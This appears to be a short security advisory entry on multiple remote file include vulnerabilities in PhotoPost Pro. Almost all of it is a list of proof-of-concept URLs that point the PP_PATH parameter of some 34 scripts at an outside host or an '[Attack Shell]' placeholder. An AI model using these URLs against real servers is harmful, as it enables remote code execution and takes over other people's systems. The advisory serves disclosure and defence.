|
PhotoPost Pro Multiple Remote File Include Vulnerabilities
An attacker can exploit these vulnerabilities via a web client. The following proof-of-concept URIs are available: http://www.example.com/[path]/zipndownload.php?PP_PATH=http://www.example2.COM? http://www.example.com/[path]/addfav.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-admlog.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-approve.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-backup.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-cats.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-cinc.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-db.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-editcfg.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-inc.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-index.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-modcom.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-move.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-options.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-order.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]//adm-pa.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-photo.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-purge.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-style.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-templ.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-userg.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-users.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/bulkupload.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/cookies.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/comments.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/ecard.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/editphoto.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/register.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/showgallery.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/showmembers.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/useralbums.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/uploadphoto.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/search.php?PP_PATH=[Attack Shell]? http://www.example.com/[path]/adm-menu.php?PP_PATH=[Attack Shell]? |
|
|
Privacy Statement |
